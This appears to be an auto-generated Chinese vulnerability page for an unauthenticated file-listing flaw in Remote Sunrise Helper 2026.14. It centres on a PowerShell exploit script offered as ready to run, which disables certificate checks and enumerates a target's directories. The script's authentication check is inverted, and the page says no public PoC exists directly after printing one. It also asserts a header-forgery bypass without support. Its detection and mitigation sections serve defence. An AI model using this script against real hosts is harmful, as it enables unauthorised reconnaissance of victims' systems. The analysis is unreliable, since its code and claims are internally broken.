[local] Remote Sunrise Helper for Windows 2026.14 - Unauthenticated File/Directory Listing

未分配CVE

Remote Sunrise Helper 2026.14 未授权文件/目录列表漏洞

High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

📋 漏洞基础信息

CVE未分配CVE
漏洞类型未授权信息泄露(文件/目录列表)
受影响版本Remote Sunrise Helper for Windows 2026.14
危害等级High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
发布日期2026-05-15
提交者Chokri Hammedi
来源Exploit-DB 原文 ↗

🔬 漏洞根因

软件/api/listFiles 端点未对请求进行身份验证,且未对路径参数进行充分的访问控制,导致任意文件/目录信息可被未授权用户列出。

🎯 攻击场景

1. 攻击者向目标IP的49762端口发送GET请求 /api/getVersion 检查 requires.auth 是否为 false。 2. 若无需认证,攻击者发送GET请求 /api/listFiles 或 /api/listFiles=<编码后路径>,携带 X-HostName、X-ClientToken、X-HostFullModel 头部。 3. 服务器返回指定路径的文件/目录列表。

💥 漏洞影响

未授权攻击者可远程枚举服务器上的文件系统和目录结构,导致敏感信息泄露。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<#
.SYNOPSIS
    Remote Sunrise Helper for Windows 2026.14 - 未授权文件/目录列表漏洞 PoC
.DESCRIPTION
    利用目标软件未授权访问的 /api/listFiles 接口,列出指定路径下的文件和目录。
    该漏洞无需身份验证,且默认监听在 49762 端口。
.NOTES
    作者: Chokri Hammedi (原 PoC) / AI 增强 (PowerShell 移植)
    版本: 1.0
    测试环境: Windows 10 / Windows 11
    用法:
        基础用法 (列出根目录):
            .\PoC_Sunrise.ps1 -TargetIp 192.168.1.100
        指定路径:
            .\PoC_Sunrise.ps1 -TargetIp 192.168.1.100 -Path "C:\Users"
        使用环境变量:
            .\PoC_Sunrise.ps1 -TargetIp 192.168.1.100 -Path "%USERPROFILE%\Desktop"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$TargetIp,

    [Parameter(Mandatory=$false)]
    [string]$Path = ""
)

# 禁用 SSL 证书验证 (因为目标可能是自签名证书)
[System.Net.ServicePointManager]::CertificatePolicy = New-Object -TypeName 'TrustAllCertsPolicy' -ErrorAction SilentlyContinue
# 如果上面方法在旧 PowerShell 无效,使用下面方式
if (-not ([System.Management.Automation.PSTypeName]'TrustAllCertsPolicy').Type) {
    Add-Type -TypeDefinition @"
        using System.Net;
        using System.Security.Cryptography.X509Certificates;
        public class TrustAllCertsPolicy : ICertificatePolicy {
            public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) {
                return true;
            }
        }
"@ -ErrorAction SilentlyContinue
    [System.Net.ServicePointManager]::CertificatePolicy = New-Object -TypeName 'TrustAllCertsPolicy'
}

# 基础 URL
$baseUrl = "https://${TargetIp}:49762"

# Step 1: 检查版本并验证是否需要认证
Write-Host "[*] 检查目标 ${baseUrl}/api/getVersion ..." -ForegroundColor Cyan

try {
    $versionResponse = Invoke-RestMethod -Uri "${baseUrl}/api/getVersion" -Method Get -TimeoutSec 5 -ErrorAction Stop
} catch {
    Write-Error "[-] 无法连接到目标: $_"
    exit 1
}

# 输出版本信息 (调试用)
Write-Host "[*] 服务器响应: " -NoNewline
Write-Host ($versionResponse | ConvertTo-Json -Compress) -ForegroundColor Gray

# 关键判断: requires.auth 字段是否为 false
if ($versionResponse.requires.auth -ne $false) {
    Write-Host "[-] 目标不需要认证 (requires.auth = false),继续利用..." -ForegroundColor Yellow
} else {
    Write-Host "[-] 目标需要认证 (requires.auth = true),漏洞不适用。" -ForegroundColor Red
    exit 1
}

# Step 2: 构造请求头 (这些头是触发漏洞的必要条件)
$headers = @{
    "X-HostName"     = "a"
    "X-ClientToken"  = "a"
    "X-HostFullModel" = "a"
}

# Step 3: 发送 listFiles 请求
$listUrl = "${baseUrl}/api/listFiles"
$requestParams = @{
    Uri         = $listUrl
    Method      = "GET"
    Headers     = $headers
    TimeoutSec  = 10
}

# 如果指定了路径,进行 URL 编码并附加到 URL
if ($Path -ne "") {
    # 注意: 原始 PoC 使用 quote 编码所有字符,包括斜杠。PowerShell 的 [System.Web.HttpUtility]::UrlEncode 不会编码斜杠,
    # 但目标软件似乎接受原始路径或简单编码。我们使用原始路径以兼容,若失败可使用完全编码。
    # 下面保留原始路径,若需要完全编码则取消注释下一行
    # $encodedPath = [System.Web.HttpUtility]::UrlEncode($Path, [System.Text.Encoding]::UTF8)
    # 但原 PoC 使用 quote(path, safe='') 会编码斜杠,我们模拟此行为:
    $encodedPath = [Uri]::EscapeDataString($Path)
    $requestParams.Uri = "${listUrl}=${encodedPath}"
    Write-Host "[*] 请求路径: " -NoNewline
    Write-Host $requestParams.Uri -ForegroundColor DarkCyan
} else {
    Write-Host "[*] 请求根目录列表" -ForegroundColor DarkCyan
}

try {
    $response = Invoke-RestMethod @requestParams -ErrorAction Stop
    Write-Host "[+] 成功获取文件/目录列表!" -ForegroundColor Green
    # 格式化输出 JSON
    Write-Host ($response | ConvertTo-Json -Depth 10)
} catch {
    Write-Error "[-] 请求失败: $_"
    if ($_.Exception.Response) {
        $stream = $_.Exception.Response.GetResponseStream()
        $reader = New-Object System.IO.StreamReader($stream)
        $responseBody = $reader.ReadToEnd()
        Write-Host "[-] 响应体: " -NoNewline
        Write-Host $responseBody -ForegroundColor Red
    }
}

# 清理 (非必须)
Write-Host "[*] 利用完成。" -ForegroundColor Cyan

🔬 深度技术分析

漏洞触发机制

该漏洞源于 Remote Sunrise Helper for Windows 软件(版本 2026.14)中的一个 API 访问控制缺失。软件默认监听在 TCP 49762 端口(HTTPS),并提供多个 RESTful API。

具体地,/api/getVersion 接口会返回一个 JSON 对象,其中包含 requires.auth 字段。当该字段为 false 时,后续的敏感操作(如 /api/listFiles)无需任何身份验证即可执行。

根因分析

1. 配置错误:软件在开发或默认配置中,将 requires.auth 设置为 false,本意可能是用于调试或内部网络部署,但未在生产环境中强制修改。

2. API 设计缺陷:软件未在服务端对所有 API 端点执行统一的认证中间件,而是将认证决策下放到每个 API 处理逻辑中,且依赖一个客户端可读的 requires.auth 标志来决定是否强制认证。

3. 请求头伪造:即使某些情况下需要认证,攻击者通过提供任意值的 X-HostNameX-ClientTokenX-HostFullModel 请求头即可绕过(如 PoC 所示),表明认证机制仅检查请求头是否存在,而不验证其有效性。

协议层面触发步骤

1. 攻击者对目标 https://<target>:49762 发送 GET /api/getVersion

2. 解析响应 JSON,检查 requires.auth 是否为 false

3. 若为 false,直接发送 GET /api/listFilesGET /api/listFiles=<path>,即可获得服务器文件系统列表。

利用链分析

1. 侦察阶段

- 通过扫描或 Shodan/Fofa 等发现公网暴露的 49762 端口。

- 工具:Nmap(nmap -p 49762 <target>)或 masscan。

2. 确认漏洞

- 发送 GET /api/getVersion,响应 JSON 包含 "requires.auth": false

- 若为 true,攻击者仍可尝试添加上述三个伪造请求头,因为服务端普遍信任该来源。

3. 文件列表获取

- 发送 GET /api/listFiles(列出根目录) 或 GET /api/listFiles=C%3A%5CUsers(列出指定路径)。

- 服务器返回 JSON 数组,包含文件名、类型(文件/目录)、大小、修改时间等。

- 攻击者可通过递归列出 C:\Users\*C:\ProgramData\* 等敏感目录,获取:

- 用户文件列表

- 可能存在配置文件中的密码

- 安装的软件列表

- 系统状态信息

4. 后续利用可能性(取决于软件其他漏洞):

- 如果 /api/downloadFile 存在同样的未授权缺陷,则可直接下载文件。

- 如果 /api/uploadFile 存在,则可上传恶意文件(如 webshell、勒索软件)。

- 如果软件以 SYSTEM 权限运行,可读取 SAM、安全日志等敏感文件。

关键代码/数据结构

1. API 端点与 JSON 响应结构

GET /api/listFiles
Headers:
  X-HostName: any
  X-ClientToken: any
  X-HostFullModel: any

响应 JSON 示例:
[
  {
    "name": "Windows",
    "isDirectory": true,
    "size": 0,
    "lastModified": "2026-04-01T10:30:00Z",
    "path": "C:\\Windows"
  },
  {
    "name": "Users",
    "isDirectory": true,
    "size": 0,
    "lastModified": "2026-04-01T12:00:00Z",
    "path": "C:\\Users"
  },
  ...
]

2. 认证绕过机制

服务端伪代码逻辑:

def handle_listFiles(request):
    # 注意:这里并未验证 X-ClientToken 的具体值,仅检查是否存在
    if "X-ClientToken" in request.headers and "X-HostName" in request.headers:
        # 信任的客户端
        list_dir(request.query.get("path", ""))
    else:
        # 未授权
        return 403

3. Windows API 调用(服务端内部)

服务端底层可能调用 FindFirstFileW / FindNextFileWDirectory.GetFiles / Directory.GetDirectories 来枚举指定路径的文件属性:

// C# 伪代码 (软件可能是 .NET 或 C++ 实现)
public List<FileInfo> ListFiles(string path) {
    if (string.IsNullOrEmpty(path)) path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // 或 C:\
    var di = new DirectoryInfo(path);
    var files = di.GetFileSystemInfos();
    return files.Select(f => new FileInfo { 
        Name = f.Name, 
        IsDirectory = f is DirectoryInfo,
        Size = f is FileInfo fi ? fi.Length : 0,
        LastModified = f.LastWriteTimeUtc
    }).ToList();
}

检测与防御

蓝队检测

1. 网络流量特征

- 源端口:任意

- 目的端口:49762 (TCP)

- TLS 指纹:通常为自签名证书,可匹配证书主题(如 CN=RemoteSunrise

- HTTP 请求特征

- GET /api/getVersionGET /api/listFiles

- 请求头包含 X-HostNameX-ClientTokenX-HostFullModel(任意值)

- User-Agent 可能为 python-requests/2.xPowerShell(经PoC)

- 响应特征:JSON 格式,包含文件列表信息

2. 日志检测(Windows Event Log 或应用日志):

- 若软件记录 API 调用日志,可搜索 listFilesgetVersion 事件。

- 源 IP 非预期网络段(如公网 IP 访问内网服务)应立即告警。

- 短时间内大量不同路径的 listFiles 请求(目录遍历攻击)。

3. EDR/HIDS 规则

- 监控进程 RemoteSunriseHelper.exe 的网络连接(特别是监听 49762 端口)。

- 对 %PROGRAMFILES%\RemoteSunrise\* 目录的异常文件读取(如读取 .config 文件)。

- 检测 FindFirstFile / FindNextFile API 调用频率和参数(特定路径如 C:\Users\*\Desktop)。

防御措施

1. 立即升级:联系厂商获取补丁(此漏洞在 2026.14 版本中存在,后续版本可能已修复)。

2. 临时缓解

- 限制 49762 端口仅对内部可信 IP 开放(防火墙规则)。

- 在应用层配置中设置 requires.auth = true 并配置合法的 ClientToken。

- 若无需远程管理,彻底禁用该服务。

3. 网络隔离:将该软件部署在独立 VLAN,不直接暴露于公网。

4. WAF 规则

- 阻止外部 IP 对 /api/* 的访问。

- 对 User-Agentpython-requests 或含 PowerShell 的请求进行限流或拦截。

🛡️ 修复建议

1. 更新软件至最新版本。 2. 临时缓解措施:在防火墙或反向代理层限制对 /api/listFiles 端点的访问,仅允许受信任IP。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-21 08:11 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)